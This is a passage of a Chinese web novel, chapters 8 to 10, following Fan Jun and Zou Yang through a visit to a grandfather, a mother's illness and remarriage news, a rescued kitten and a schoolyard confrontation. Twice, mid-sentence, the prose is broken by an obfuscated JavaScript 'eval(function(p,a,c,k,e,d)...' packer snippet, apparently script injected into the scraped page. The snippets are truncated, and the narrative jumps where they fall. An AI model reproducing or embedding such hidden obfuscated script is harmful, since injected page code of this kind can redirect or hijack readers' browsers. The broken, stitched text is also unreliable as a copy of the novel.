车开出南舟坪时,四周似乎一下明亮了不少,路灯间距变小了,商店也多了起来,每一个都灯火通明。 樊均要去的是爷爷家,同样是老城区,但跟南舟坪不同,是个已经看不出原样了的老城区。 爷爷住的那栋居民楼就在街边,很旧了,倒还是记忆中的样子。 樊均在对街一排共享电动车后头站了一会儿,然后坐在了墙边不知道谁家扔出来的一张旧椅子上,把帽子拉低,静静盯着远处斜对面一楼亮着灯的窗口。 离着差不多五十米的距离盯了将近一小时,樊均才站了起来,快步往那边走过去。 8.第 8 章 8 爷爷家的门关着,电视开得挺大声,是戏曲节目,樊均都能隔着门听到。 他敲了敲门。 老头儿耳朵倒是比他强,立马就应了一声:“谁啊?” 樊均没出声,只是打了个响指,声控灯亮了之后他退后半步,掀掉帽子,站在了猫眼范围内最容易看清的位置上。 门很快打开了,爷爷看到是他挺意外的,但谈不上多惊喜:“均儿来了啊?” 樊均笑着点点头。 进了屋之后爷爷扒拉了一下他放到桌上的东西,然后拉着他在沙发上坐下,又把电视声音给关小了,抓着他的胳膊在他肩上背上拍了好半天才说了一句:“挺结实……比上回来白了点儿啊。” “一冬天捂白了。”樊均说。 “我给你拿点儿吃的。”爷爷说着就要站起来。 “不用,”樊均拉住了他,“我刚吃完饭,吃不下别的。” “哦,”爷爷点点头,看着他,“你最近怎么样?” “挺好的。”樊均说。 “还是原来的工作吗?”爷爷问。 “嗯。”樊均点点头。 爷爷其实并不知道他原来的工作是什么,问过,他没有说。 他不会向任何跟樊刚有关联的人透露自己的任何信息,跟樊刚有关系的任何人他也都不信任。 爷爷也不信任,比起一共也没见过几面的孙子,对于爷爷来说,必然是失联了的儿子更重要。 所以除了他还活着之外,爷爷对他的情况基本没有更多的了解。 “有女朋友了吗?”爷爷又问。 “没有。”樊均回答。 “不着急,”爷爷说,“你才……” “二十三。”樊均说。 “二十三……”爷爷琢磨了一会儿,“也不能太不急了。” “嗯。”樊均笑笑。 爷爷没再说话,只是抬手摸了摸他鼻梁上的刀疤,叹了一口气之后盯着他上上下下地打量着。 樊均跟爷爷并不熟,他记事起就没见过奶奶,而童年时的爷爷也没给他留下过什么记忆,他在黑暗和痛苦中挣扎时,没有任何一个亲人出现过。 但爷爷也是他记忆里唯一见过的亲人,除此之外他还有一个只存在于樊刚咒骂中的姑姑。 所以他每年会有那么一两次过来探望爷爷,除了看看这个世界上除了樊刚之外,自己唯一还能记得的亲人,像是确定一下自己存在于这个世界上最初的根源。 而更多的是看看樊刚有没有消息。 爷爷对樊均还算温和,但本质上也不是个多慈祥的老头儿,暴躁,爱占小便宜,邻居都绕着他走,他倒是活得还算尽兴。 樊均跟他待在一块儿没什么话,就听听他骂人,抱怨邻居,指责街道不照顾他,诅咒他的一双儿女。 樊均一般在最后这个环节会听得比较认真,今天也一样。 “你姑上星期来看我,没一句好话,”爷爷叹了口气,“嫌我这儿没收拾,那你倒是给收拾啊!说买的蟑螂药我没放,那个破药我也不会弄!我养个儿子跑得没影儿,养个姑娘就会嫌弃我……” 听到这儿,樊均确定了樊刚还处于失踪状态,安心了不少。 又听了一会儿之后他截断了老头儿的话:“爷爷,我得走了。” “哦,”爷爷看着他,“要走了啊?” “这阵儿挺忙的,”樊均说,“没太休息好。” “有活儿忙挺好的,比你那个不知道死活的爸强,”爷爷说,“那你走吧……桌上那些是给我买的吗?” “嗯。”樊均站了起来。 “那我留着了,”爷爷说,“得拿去外面小卖部看看能卖多少,你以后来看我,别瞎买这些东西……” “嗯知道了。”樊均点头。 离开爷爷家,他速度很快地大步往前走着,说不清什么感觉,像是怕有什么东西会追上来。 边走边拿出手机叫车,定位挑了离这儿两个路口的一个大厦。 车离得远,他到位置的时候车还有七百多米。 他在大厦侧门的台阶上蹲下,轻轻舒出了一口气,才八点多,他居然觉得有点儿困了。 还很饿。 晚上回到旧馆,人都已经走了,只有小白站在狗窝前冲他摇着尾巴。 他进了厨房,烧了点儿水,找了一桶方便面泡上,又从冰箱里拿出一小包鸡胸肉拆开扔给了小白。 冰箱里的这个小储物盒里放的都是小白的零食,鸡胸肉,罐头什么的,吕泽对于他占用冰箱放狗食的行为非常反感,勒令他把这些东西拿走。 勒了好几回令了,樊均一直都没照做。 改天拿新馆那边儿去得了。 没有人的旧馆格外安静,听不清的情况下更安静。 不过旁边就围绕着居民区,这种老旧的小区,虽然街上没有人,屋里还是很热闹的。 吵架的打架的,骂孩子骂老公骂老婆,打孩子夫妻对打,也有一大家子吃饭边喊边闹的,很欢乐,还有喝多了抽疯的,不过他大多数时候听不真切。 偶尔还会有啤酒瓶会被扔进院子里。 吕泽很愤怒地在围墙上装过一个监控,对着他认为的犯罪嫌疑楼,想拍到是哪一层扔的瓶子。 结果没到一星期,监控什么证据都还没拍到,就被盲区里从天而降的一个汤罐子砸死了。 吕泽上初中之后就没在南舟坪了,还是不够了解南舟坪。 樊均吃完面在院子里坐了一会儿,拿过牵引绳。 小白蹿过来一脑袋扎进了项圈里。 樊均脱掉了外套,伸了个懒腰,带着狗跑出了院子。 一般他一周会跑个三天,但最近天天跑,吕泽要求他减重三公斤,要求不高,赶紧完成了省得吵架,吕叔夹中间费劲。 不过今天晚上挺冷的,樊均脱了外套之后里头就一件卫衣,跑了一会儿就感觉吹透了,站那儿等狗拉屎的时候清鼻涕都快出来了。 凑合跑了差不多五公里,他把狗带回了院子里,再从院子对面纷繁复杂或老或新的楼中间穿过,回到了自己的小屋。 供暖已经停了,屋里也挺冷的,樊均拿过电热斗篷披上躺到了沙发上,这斗篷是珊姐买了送他的,看着像是个女式的,不过还管点儿用。 不知道珊姐有没有给邹飏买,虽然感觉以邹飏的性格,这玩意儿哪怕是在家用,不到下一秒当场冻死,他都不会碰。 这一夜就在沙发上睡的,什么时候睡着的樊均都不知道,早上醒的时候全身酸痛。 坐沙发上发呆的时候,吕叔的电话打了过来。 “均儿,你一会儿经过旧馆的时候顺路带点儿感冒药过来吧,”吕叔说,“我这儿刚来了人要谈事儿走不开。” “你感冒了?”樊均问。 “你珊姐感冒了。”吕叔说。 “嗯,”樊均站了起来,“我马上就过去了。” 珊姐感冒还挺严重的,声音都变了,但她不承认。 “没那么娇气,一会儿多喝点儿水就行了,就老吕瞎给我宣传。” 樊均去医药箱里找出额温枪,对着她的脑门biu了一枪。 三十八度二。 “发烧了珊姐。”他说。 “哟,”珊姐愣了愣,凑过来看了一眼,“不能吧,我都多少年没发过烧了。” 发烧什么的对于樊均来说不算个事儿,但珊姐毕竟也不是天天训练的身体,没到下午人就蔫儿了。 不过出于某种执着,不肯去医院,也不肯吃退烧药,吃了感冒药就坐厨房桌子旁边喝水。 好说歹说才给她送回了吕叔家里休息。 “要不要……”樊均看着她,“告诉邹飏一声?” “告诉他干什么啊,”珊姐摆摆手,“他知道了我就不发烧了吗?” 樊均觉得邹飏会希望珊姐生病了能告诉他,只是他以前也没跟珊姐聊过她儿子的事儿,这会儿他不知道该怎么说。 “他周五一般晚上才回家,这会儿还在学校呢,不烦他了,”珊姐又说,“以前我也不怎么生病,到时他再觉得我是因为在这儿累的。” “……不会的,”樊均说,“你别……总替他想那么多。” “算了,”珊姐躺到沙发上,“我睡一觉就好了。” 樊均出门下楼的时候,碰上跟人谈完了事儿赶过来的吕叔。 “怎么样?”吕叔问。 “躺着了,”樊均回头看了一眼,“说睡一觉就好。” “你这样,你打个电话,”吕叔拿出了手机,“给邹飏打个电话,让他过来陪陪他妈。” “嗯?”樊均看着吕叔。 “早上难受得哭了呢,”吕叔叹了口气,“可能身上也难受,心里也不舒服,人一病了啊,就会想得多,她还特别能瞎琢磨……” “我打?”樊均问。 “邹飏对我……”吕叔笑了笑,“你俩差不多大,你给他打,他应该没那么反感。” 邹飏第四次挂掉电话之后,刘文瑞受不了了:“你接一个吧,万一是有人领养那个猫呢!” “我领养贴都没发呢。”邹飏一边说一边把猫塞进包里。 这猫在宿舍养了一星期,一屋四个废物愣是没掩护住,被宿管发现了,勒令马上弄走,他只能先把猫带回家。 “你妈让不让你养啊?”刘文瑞说,“我要拿个猫回去,我妈肯定给我一百块钱让我跟猫流浪去。” “这是你给我找的麻烦,”邹飏指着他,“你记着,但凡这猫给我带来任何麻烦,都算在你头上。” “你流浪了来我家。”刘文瑞一拍胸口。 电话又响了起来,邹飏看了一眼,还是之前的号码。 真执着。 他有些烦躁地一把抓过手机接起了电话:“谁!” “樊均。”那边有人说了一句。 邹飏愣了愣:“谁?” “樊均。”那边又重复了一遍。 “哦,找我有事儿?”邹飏问。 其实对方第一次开口的时候,他就已经听出来了,只是习惯性地震惊一下。 “你……在学校吗?”樊均问,“还是回家了?” “准备回家,”邹飏拎着包跟刘文瑞一块儿往外走,樊均给他打电话实在是太奇怪了,他顿时有些 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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“不用吗?”邹飏犹豫着,声音低了下去,“我怕她不高兴。” 后面这句樊均看口型才知道说的是什么。 樊均没再出声,最后跟邹飏一块儿进了超市。 邹飏很快地在超市里转了一圈,说是买水果或者营养品,但最后只拿了两个黄桃罐头去结了账。 “……不拿别的了吗?”樊均有些不能理解,不拿东西怕妈妈不高兴,但拿东西又只拿俩罐头。 “嗯,”邹飏点点头,“小时候发烧了我妈就买这个给我吃,说是逃跑了就不病了。” “是……这样的吗?”樊均愣了愣。 “你不知道这个?”邹飏看了他一眼。 “不知道,”樊均说,“我没吃过。” “你……”邹飏已经离开的视线又扫了回来,沉默了两秒之后也没说别的,转身出了超市,“走吧。” 吕叔的家就在旧馆对面的那一大片居民楼里,挺有年头的了,不过外墙应该新刷过,楼道里也没堆乱七八糟的东西。 没电梯,好在楼层不高,在三楼。 进门之前邹飏犹豫了一下,拿下了自己的背包,冲樊均晃了晃,往他右耳那边凑了凑。 “嗯?”樊均立马微微侧了侧脸。 “这个包,”邹飏低声说,“你帮我拿着,找个地儿放一下,别让我妈看到……别让我妈听到……” “听到什么?”樊均也低声问,伸手接过了包。 “猫,”邹飏说,“你是不是没听到它一直在叫?” 樊均有些吃惊地挑了一下眉毛,把包拎到耳边听了听:“你捡的猫吗?” “嗯,”邹飏点点头,“还没找着领养,我妈不喜欢家里有小动物。” “知道了。”樊均拿出钥匙打开了门。 不大的两居室,有些陈旧的装修和简单家具,不过收拾得挺利索。 邹飏走进屋里的时候有些拘谨。 这是别人的家,一个陌生中年男人的家,他妈经常待着他却从来没有进入过的地方。 樊均把他的包拎进了厨房,再转身出来指了指一个房门:“在那个屋睡着呢,客房。” 樊均的这句“客房”,让邹飏不知道什么位置绷着的神经松了松劲,他轻轻推开门往里看了看。 老妈躺在床上,没有睡,枕着胳膊正看着天花板出神。 听到门响,她往这边看了过来,看到邹飏的时候明显一怔,接着就坐了起来:“哟,你怎么来了啊?” “妈,”邹飏进了屋走到床边,“樊均说你病了,我就过来了。” “哎哟,”老妈拢了拢头发,冲外面喊了一声,“樊均!你干嘛告诉他啊!” 邹飏往客厅那边看了一眼,樊均就站在门边,这个距离这个声音他应该是能听到的,但他没出声。 ……虽然听力不好,但想装死的时候还是很有优势的。 9.第 9 章 9 “难受吗?”邹飏在床边坐下,伸手摸了摸老妈的脑门儿,还有些发烫,“是着凉了吗?” “可能昨天吹了点儿风,”老妈看了看他手里的超市袋子,“买什么了?” “罐头,”邹飏笑笑,拿了个罐头出来晃了晃,“吃吗?” “吃两口吧,”老妈说,“你还拿你妈当小孩儿哄呢。” “嗯,”邹飏拧着罐头,“病了都是小孩儿。” “从学校直接过来的吗?”老妈问。 “正要回去,”邹飏咬牙拧着罐头,“接了樊均电话我就赶紧过来了,从学校过直接过来比从家里过来还近点儿呢……” “拍一下试试。”老妈皱着眉叹了口气。 邹飏把罐头倒过来拍了两下接着拧,罐头盖还是一副绝不逆来顺受的样子,他忍不住骂了一句:“……我操。” “你跟你爸也这么说话吗?”老妈靠在床头看着他。 “厨房有刀吗?”邹飏站了起来,“我撬一下。” “有。”老妈说。 邹飏拿着罐头走了出去,樊均没在客厅了,他走到厨房门边往里看了看,樊均正站在他的背包前,看着从包里探出个脑袋的猫。 “有刀吗?”邹飏问。 樊均没听见。 他走进厨房,伸手往樊均胳膊上拍了拍。 “嗯?”樊均回过了头。 “有……”邹飏晃了晃手里的罐头。 话还没说完,樊均就从他手里拿走了罐头,拧了一下。 盖子打开了。 樊均把罐头递给他,还给他拿了个叉子。 “我真……”邹飏接过罐头和叉子,“我拧半天都没拧开。” “已经拧松了。”樊均说。 “谢了。”邹飏转身准备走。 “它叫什么?”樊均问。 “狗粮。”邹飏说。 狗粮。 樊均用手指挠了挠小猫下巴,小猫舒服地仰起头闭上了眼睛。 还挺形象的,不过小白吃的话,这个小狗粮顶多只能叫狗零食。 狗粮挺亲人,一直扒拉着想从背包里出来,嘴里没停过,一直在叫唤。 樊均想把它拿出来,但这毕竟是邹飏的背包,里头也不知道还有没有别的东西,他也不方便就这么去掏,只能伸手逗着。 “你吃一块儿吗?”老妈戳了一块儿黄桃递了过来。 邹飏不想吃,小时候生病的时候他对这东西也没什么兴趣,太甜了。 但这会儿还是凑过去咬下了那块儿黄桃。 “明天跟刘文瑞出去玩吗?”老妈慢慢吃着。 “没约,”邹飏说,“在家。” 老妈抬眼看了看他:“过来玩一下吗?” 邹飏沉默了好一会儿才问:“你……不回去吗?” “今天不想动了,”老妈说,“累得很,背酸死了。” “嗯。”邹飏垂下眼睛,看着瓷砖地面上一条有点儿像闪电的裂缝。 “我跟你吕叔……”老妈也没看他,盯着手里的罐头,“我平时没什么事儿都会在这边儿。” “嗯,”邹飏点点头,“我知道。” “我知道你有意见,”老妈轻声说,“可能觉得我不如你爸那么……但也没办法,我就是这样的人,跟老吕这样的人在一起我才舒服,他没你爸有文化,有素质,但他能容得了我,你知道我脾气有时候急。” “我没那么觉得,”邹飏还是看着地面,眼镜滑到鼻尖上了他也没想动,“你也别总跟我爸比,他也不是什么值得你去比的人。” “哟,”老妈笑了,“我要录下来放给他听,看他还给不给你大把拿钱。” “断人财路啊。”邹飏笑了笑。 “你就是贪图享受,”老妈吃了一口黄桃,“你妈的确挣不来那么多钱,这辈子都没挣过钱不是么,但也不至于……” “他该拿的钱就得拿,”邹飏说,“不该拿的我想要了他也得拿。” 老妈看了他一眼,轻轻哼了一声,没说话。 邹飏也不知道该说什么了,只盯着地面出神。 “跟你说个事儿,”老妈把罐头放到了床头柜上,“本来想过阵儿再说的,但是拖着不说也不是个办法,反正你也来这儿看过了,我这一生病吧就想得多,给你说了我也踏实点儿。” “嗯。”邹飏抬起头。 “我和老吕……”老妈看着他,话说得有些犹豫。 邹飏沉默着,抬手推眼镜的时候发现自己的手开始抖,他赶紧垂下手,撑着膝盖,两手握紧。 “也谈了那么多年了……我俩想着也不拖了……你也成年了……今年差不多……打算结婚……” 邹飏走进厨房的时候,狗粮已经扒拉着从包里爬出来了一半,樊均正拿手指头戳着它脑袋阻止它继续越狱。 邹飏进来也没说话,直接过来按着狗粮的脑袋把它塞回了包里,然后撑着桌子盯着自己的包开始发愣。 樊均往旁边让了让,看着他的侧脸。 不知道母子俩说了什么,邹飏的情绪看上去很低落。 他不出声,樊均也不好出声,也不好有什么动作,走开还是不走开都似乎不太合适,只能也愣在旁边靠着桌子跟他一块儿沉默着。 过了一会儿,他听到邹飏很轻地吸了一下鼻子。 转头看过去的时候,一滴眼泪挂在了邹飏眼镜边儿上。 接着是第二滴。 邹飏微微抬了抬头,看着窗外,眼泪顺着脸滑到了下巴尖儿上。 樊均愣住了。 顿了两秒,他伸手拿过桌上的一包抽纸,慢慢推到了邹飏手边。 然后很慢地离开桌子,往厨房门那边走过去。 “你跑什么!”邹飏偏过头说了一句,声音里透着不爽。 樊均没说话,又退了两步,靠回了桌子旁边,也没敢往那边看。 邹飏摘下了眼镜扔到桌上,抽了两张纸按在了眼睛上。 不受控制不断涌出的眼泪很快浸透了纸巾,洇到了指尖上。 他不知道老妈要结婚自己为什么会这么大反应,老爸结婚的时候他除了不屑,并没有太多的情绪。 也许是因为老爸在外面早就有了另一个事实上的家,也许是因为无论老妈脾气性格如何,从小到大更多存在于他生活和记忆里的,都是妈妈。 老妈这一结婚,他身边就彻底空了。 本质上这不是一件什么不好的事,老妈能碰上一个可以跟她搭上频道的人,他应该高兴才对,她可以不再被贬低,不再介意自己“不如”对方,无论怎样,她都可以依着自己的性格去生活…… 但是。 妈妈就不再单纯地只是他的妈妈了。 这样的想法他自然不可能让老妈知道,他一直憋到老妈躺下继续休息了,才起身离开。 他也不想当着樊均的面儿哭这一鼻子。 实在没忍住。 眼泪这玩意儿跟鼻涕差不多,忍是忍不住的。 毕竟在一个通道里。 鼻泪管。 ……这都什么乱七八糟。 樊均一直沉默地靠着桌子,五六张纸巾都湿透了,邹飏愣是没出一点儿声音。 就那么悄无声息地流着眼泪。 只能听到狗粮时不时一声细小的叫声。 最后邹飏把纸巾一把抓起来扔进旁边的垃圾筒,转过了头,看着他。 “你还……”樊均小心地问了一句,“好吗?” “嗯。”邹飏点头,鼻尖和眼睛通红,声音却很稳,“喜极而泣,我妈要结婚了,跟一个不会挑剔她的男人。” 樊均张了张嘴,没说出话来。 吕叔跟他提过一次,说打算跟珊姐结婚,不过没细说。 毕竟吕泽对这事儿是不爽的,他跟丽婶儿感情很深,丽婶儿去世之后任何接近吕叔的女人他都没给过好脸。 “你吃饭了吗?”邹飏问。 “没,”樊均往厨房门外看了一眼,“你……” “我妈睡了,她现在烧没退也吃不下东西,”邹飏把包一拎甩到肩上,“咱俩去吃,我请你。” “嗯?”樊均愣了。 “你要过去跟冠军一块儿吃吗?”邹飏问。 “……我请你吧。”樊均说。 “我请。”邹飏往外走。 樊均没再跟他争,一块儿走出了屋子。 大概是在包里待时间太长了,狗粮开始在包里折腾,叫得很大声,樊均都能听到了。 “这猫……”他犹豫了一下,“你就一直背着吗?” “你有什么建议?”邹飏一边下楼一边问。 “先放我那儿吧,”樊均说,“我那儿有奶猫罐头。” 邹飏回过头:“你养了猫?” “狗爱吃,羊奶糊糊的那种。”樊均说。 “远吗?”邹飏停下了。 “很近,”樊均说,“就边儿上。” “……行吧。”邹飏回手在包上轻轻拍了拍,“听到了没,别叫了。” 樊均租的房子跟吕叔家就隔了三栋楼,不过要新不少,还有电梯。 房子在顶层,门口放着干净的地垫。 邹飏跟在樊均身后走进屋里的时候,莫名其妙地有种松弛下来的感觉,樊均的屋子虽然装饰简单,但布置得挺舒服。 布艺的懒人沙发,小地毯,窗边的矮几和厚厚的坐垫,还有整齐地码放着哑铃的架子。 没有“别人家”的感觉,带着明显的单身属性。 连拖鞋都只有一双。 “穿这个吧。”樊均把拖鞋踢到邹飏面前,光脚进了屋。 “没事儿,不用。”邹飏说。 “鞋柜里有一次性的。”樊均指了指旁边的一个小鞋柜。 “我不是……”邹飏叹了口气,穿上了樊均的拖鞋。 樊均找了个小笼子,垫了个尿垫,把狗粮放进了笼子里,又拿了两个碗放到笼子里,一个放水,一个放了幼猫罐头。 “我以为你跟吕叔他们一块儿住呢。”邹飏坐到沙发上。 这沙发坐下去基本就只能斜靠着了,有种立马就想睡一觉的感觉。 “没,”樊均笑笑,“以前客房我和吕泽住,他初中之后没在家了,我也就搬出来了。” “哦,”邹飏靠在沙发里,“你俩关系也不怎么样吧?” “长大以后好些了。”樊均蹲在笼子前看着狗粮。 “现在这状态还是好些了的?”邹飏挑了一下眉毛,“你脸上的伤不会是小时候被他打的吧。” “……不是。”樊均脸上的表情微微僵了一下。 “对不起,”邹飏赶紧坐直了,“我就说顺嘴了…… ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 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这都不用樊均认识,特别是前头领走的那三位,邹飏看一眼后脑勺和走路那个八爪鱼一样的姿势,都能知道这几个不是什么好玩意儿。 看着这几个人慢慢走近,邹飏莫名有些期待。 他以前的高中是重点,管得很严,相互推搡几下进度条还没过十分之一就会被人打断。 眼下虽然理论上已经过了期待这种破事儿的年纪,但今天他就是想犯犯浑。 几个人从他们跟前儿经过的时候,樊均突然吹了声口哨。 这声口哨跟他叫狗时的动静完全不同,简直一耳朵就能听出来满满的挑衅味儿。 几个男生同时转过了头。 “对,”樊均声音不高地说,抬手指了指中间那个脸最黑的男生,“就你。” 黑脸一点儿没犹豫,转身就走了过来,左右哼哈二将立马也跟上,后头一点儿的那几个倒是就站在了原地,盯着这边儿。 樊均从树下的灯影里走了出去,站在了黑脸面前。 今天樊均穿的不是上回那件长外套,短的,但这件也有帽子,樊均似乎很喜欢把外套帽子戴上。 所以他走出灯影之后光才照亮了他下半张脸。 和他上唇的那道疤。 黑脸往前想要跟樊均贴脸挑衅的脚步一个急停。 沉默地盯着樊均看了一秒。 转身就跑。 邹飏看愣了。 废物!跑什么? 上啊! 南舟坪不是很彪悍的吗! 是只彪小学生吗! 但黑脸没跑成,转身的同时就被樊均从后面一把揪住了衣领,跟那天在馆里揪那个小孩儿一样。 跟在他旁边的哼哈这会儿愣在了原地,一时之间不知道是应该跑还是留下来同生死。 不,同死死。 之前就没紧跟过来的那几个倒是跑开了,不过没跑远,就在五米左右的位置徘徊,忽远忽近,即不想显得弃朋友而去不讲意气,又不想靠得太近被一锅烩了。 像几个凑热闹的跟拍摄像头。 不过让人没有想到的是黑脸在这时放弃了他的衣服,很顺滑地往前一出溜,脱了外套就往前冲。 速度还挺快。 但一秒钟之后邹飏发现他的速度只保持了一秒。 樊均从地上捡了块碎砖砸过去,正中黑脸的膝盖弯。 他踉跄着摔倒的同时被樊均抄起胳膊又扔了回来。 哼和哈眼瞅着黑脸是没招了,于是转身就往回跑,大概是想跑回学校。 “喂。”邹飏在他俩跑过自己身边时喊了一声。 两人同时转头。 邹飏一巴掌拍在小哼的肩膀上,再顺着一推,小哼往前冲的力量顿时受阻,先是一个小腾空,接着撞在了小哈身上。 小哈想也没想就推开小哼就想继续狂奔。 邹飏腿往后一蹬踹在了他屁股上。 小哈的桩子比他同伴要稳,手脚并用地往前扑腾着居然没停。 邹飏没再管他,转头指着小哼:“你待着。” 10.第 10 章 10 黑脸被樊均胳膊抡到了旁边的围墙上靠着,暂时没敢再动,接着樊均过来把地上的小哼也抡到了黑脸边儿上一块儿靠着。 说实话,黑脸和哼哈虽然形象上略为不堪,不过绝对不算瘦弱,黑脸甚至还能算得上有块儿的。 但他俩在樊均面前就跟两袋大米似的,说扔墙边儿就扔墙边儿了,都不带倒的。 唯一还没认输的是嘴。 “我认识你,”黑脸说,“樊均。” “怎么,”邹飏有点儿想笑,“揍你的时候认识他给你打八折么。” 黑脸盯着邹飏,嘴角抽了两下,没说话。 “知道找你什么事儿么。”樊均声音很沉。 “不知道。”黑脸的嘴比他的表情勇敢多了。 “那我明天再来找你。”樊均说。 “我们老师就在后边儿!”黑脸说。 “怎么?”樊均偏过头往学校后门那边看了一眼,“老师打得过我?” “你别太嚣张,”黑脸瞪着他,“我们可知道你住哪儿!” “我现在回去等你?”樊均问。 黑脸没说话,脸抽得很厉害。 “知道找你什么事儿么?”樊均又问了一次。 “……知道。”黑脸声音低了下去。 “别让我再找你第二次。”樊均说完往他胸口上轻轻拍了拍,转过身准备走。 “你再敢来找我,我就报警。”黑脸说。 “赶紧报,”邹飏有点儿受不了这种都快死透了还要放狠话的环节,回过头看着他,“让北小街派出所片儿警过来判他个死刑。” 黑脸终于闭了嘴。 邹飏跟樊均一块儿离开了学校后门,顺着路回到了原定吃饭的那条路上。 “你还知道这片儿是北小街呢?”樊均说。 “我今天拐进来的时候你坐那儿脑袋上就顶个北小街西的路牌。”邹飏说。 樊均笑了笑。 “没劲,”邹飏伸了个懒腰,“还以为能动个手。” “高二的小孩儿。”樊均说。 “主要还是你,”邹飏偏头看了他一眼,“你出去是不是没有能打起来的架?” “你是……”樊均顿了顿,“很想打架吗?” 邹飏没说话。 “可以去武馆,我跟你打。”樊均说。 “然后一脚被踢飞。”邹飏说。 “你的话,”樊均想了想,“可能得好几脚。” “我考虑考虑。”邹飏说。 樊均挑的这家小馆子从外头看很有年头,进了店里再看,还是很有年头。 不过店里的空气闻起来很香,顿时就饿得发慌了,从食客数量来看,味道应该很不错。 服务员把他俩塞到了靠近厨房的墙边,一张加座的小桌,然后把菜单往他俩前面一扔,一手拿着小本儿一手叉腰:“吃什么?” “你熟的话就你点吧。”邹飏把菜单推到樊均面前。 “铁锅炖鱼。”樊均也没看菜单,跟服务员说。 “几斤?”服务员问。 樊均看向邹飏:“除了鱼还想吃什么?” “只想吃鱼。”邹飏说。 “先来五斤。”樊均说。 四周很嘈杂,服务员的声音不高,邹飏发现樊均基本是看着服务员说话的,估计是听不清。 这读唇的技能也不知道是多久练出来的。 也不知道是主动练的还是被动练的…… “要酒吗?”服务员又问。 “我喝果汁。”邹飏说。 “都果汁。”樊均笑笑。 服务员走开之后,邹飏靠着椅背,看着桌上的碗筷。 不知道为什么,就点菜这几句简单到没有语气的对话,让他有种缓缓松弛下来的感觉。 “你耳朵是受伤吗?”他凑到桌边,尽量靠近对面的樊均问了一句。 “嗯。”樊均点点头。 “怎么……”他说一半指了指自己左边的空位,“你坐这儿来。” 樊均起身把椅子放过来坐下了。 “这样说话就没那么费劲了,”邹飏拿过桌上的茶,“你耳朵怎么伤的啊?” 樊均没出声。 邹飏准备倒茶的动作僵住了,迅速转头看了他一眼:“我靠,这个也……不太应该问是吗?” “我爸打的。”樊均扯了扯嘴角。 “亲爹吗?”邹飏手抖了一下,茶倒在了桌上。 “嗯。”樊均应了一声。 “操,”邹飏把倒好的茶放到他面前,“我不知道,我看你刚……挺像混过的,还以为能听个什么江湖故事呢。” 樊均笑着没说话。 “不好意思。”邹飏说。 “很久以前的事儿了,”樊均说,“我都快记不清了,我爸跑了,我妈……死了,小学的时候丽婶儿就把我带回家了,那会儿他们是我家邻居,真挺久了。” “丽婶儿?”邹飏问。 “吕叔的老婆,”樊均说,“去世差不多十年了,人特别好,吕泽跟他妈妈感情很深,所以……他一直不太能接受吕叔的女朋友。” “哦。”邹飏沉默了。 一大锅热气腾腾的鱼端上了桌,扑面而来的热气和浓烈的香味迅速把邹飏心里那种说不清的滋味冲散了。 “本来觉得你要五斤多了。”他说。 “我一个人就能吃四斤。”樊均说。 “今天不减重了?”邹飏夹了一块鱼。 “明天带两节体能就行。”樊均把服务员刚拿上来的果汁给他倒上了。 “吕泽为什么要你减重啊?”邹飏往樊均脸上身上扫了一圈,身上衣服挡着看不出来,脸上是真没多余的肉,下颌线那儿的光影有着清晰的分界。 “他快要比赛了。”樊均说。 “他比赛……你减重?”邹飏没听懂。 “他也减。”樊均笑笑。 “我操,这么幼稚,”邹飏不能理解,“他是不是长得挺着急看着二十大几的人其实刚上初中。” 樊均笑着没说话。 这顿饭吃得比上回的饺子要轻松得多,樊均的话也比那天多,虽然邹飏吃得有点儿顾不上说话,但还是小心地打听了一下吕叔的情况。 挺实在的一个人,脾气不算好,但不会胡乱发火,中年丧妻,一个人经营着武馆,带着吕泽和樊均,吕泽体育特招上了大学,樊均只上到高中就一直在武馆帮忙了。 就是刚才的那个二十一中,本市排名倒数存在感为零的中学。 吕叔是希望他继续念下去的,但樊均没同意。 吕叔跟老妈差不多是五年前认识的,正式好上也有三年多了,一直相处得挺好,本来想等邹飏高考完离婚,但不知道为什么提前了。 邹飏默默算了算时间,估计是好上之后跟老爸摊牌了,但在离婚时间上没能达成统一。 估计是老爸提的,毕竟他在某些方面是严以律人宽以待己的。 邹飏吃完最后一口菜,喝了两口茶,往椅子上一靠,轻轻舒出一口气,不知道是吃得太舒服还是别的什么。 “服务员,”他叫住路过的服务员,“有饺子吗?” “有,”服务员点头,“要什么馅儿的?” “猪肉大葱。”邹飏说。 “没吃饱?”樊均有些吃惊地看着他。 “带点儿给我妈,”邹飏说,“万一醒了想吃东西呢。” “嗯,”樊均应了一声,“她爱吃猪肉大葱的吗?” “应该是,我家不太吃饺子,”邹飏说,“我妈爱吃,我爸不爱吃,所以不怎么包,包的话就是猪肉大葱。” “你爱吃吗?”樊均问。 “一般吧,吃不吃都行,我就爱吃鱼。”邹飏笑笑。 “看出来了。”樊均看了一眼已经吃空了的锅。 回到吕叔家的时候,老妈还在客房里睡着,吕叔已经回来了,在厨房里正想煮点儿粥。 “你俩吃饭去了?”吕叔问。 “嗯,带了饺子。”樊均说。 “那正好,不用煮粥了,”吕叔笑笑,看着邹飏,“吃的哪家?味道怎么样?” “樊均带我去的吃鱼那家,挺好吃的。”邹飏站在厨房外头没进去,跟吕叔待在一个狭小空间里会让他不自在,“我妈退烧了吗?” “退点儿了,”吕叔说,“你去看看她吗?” “让她睡吧,我回去了。”邹飏说。 “我……”樊均从厨房里走了出来,“送你。” 先送到樊均的屋里。 狗粮又是屎又是尿的拉了一垫子,罐头倒是都吃完了。 把笼子收拾完,邹飏抓起狗粮看着,还得把这小玩意儿带回家,这个周末没人领养的话下周他还得带去学校…… “樊均,”他转头看向樊均,“你有认识的人想养小猫的吗?靠谱的。” “……没有。”樊均说。 “哦。”邹飏叹了口气,拉开背包拉链,把狗粮塞了进去。 樊均一直在旁边看着,在他背上包准备走的时候,樊均抬手拦了他一下:“先放我这儿吧。” “什么?”邹飏迅速转过头。 “是不是没地儿养了?”樊均问。 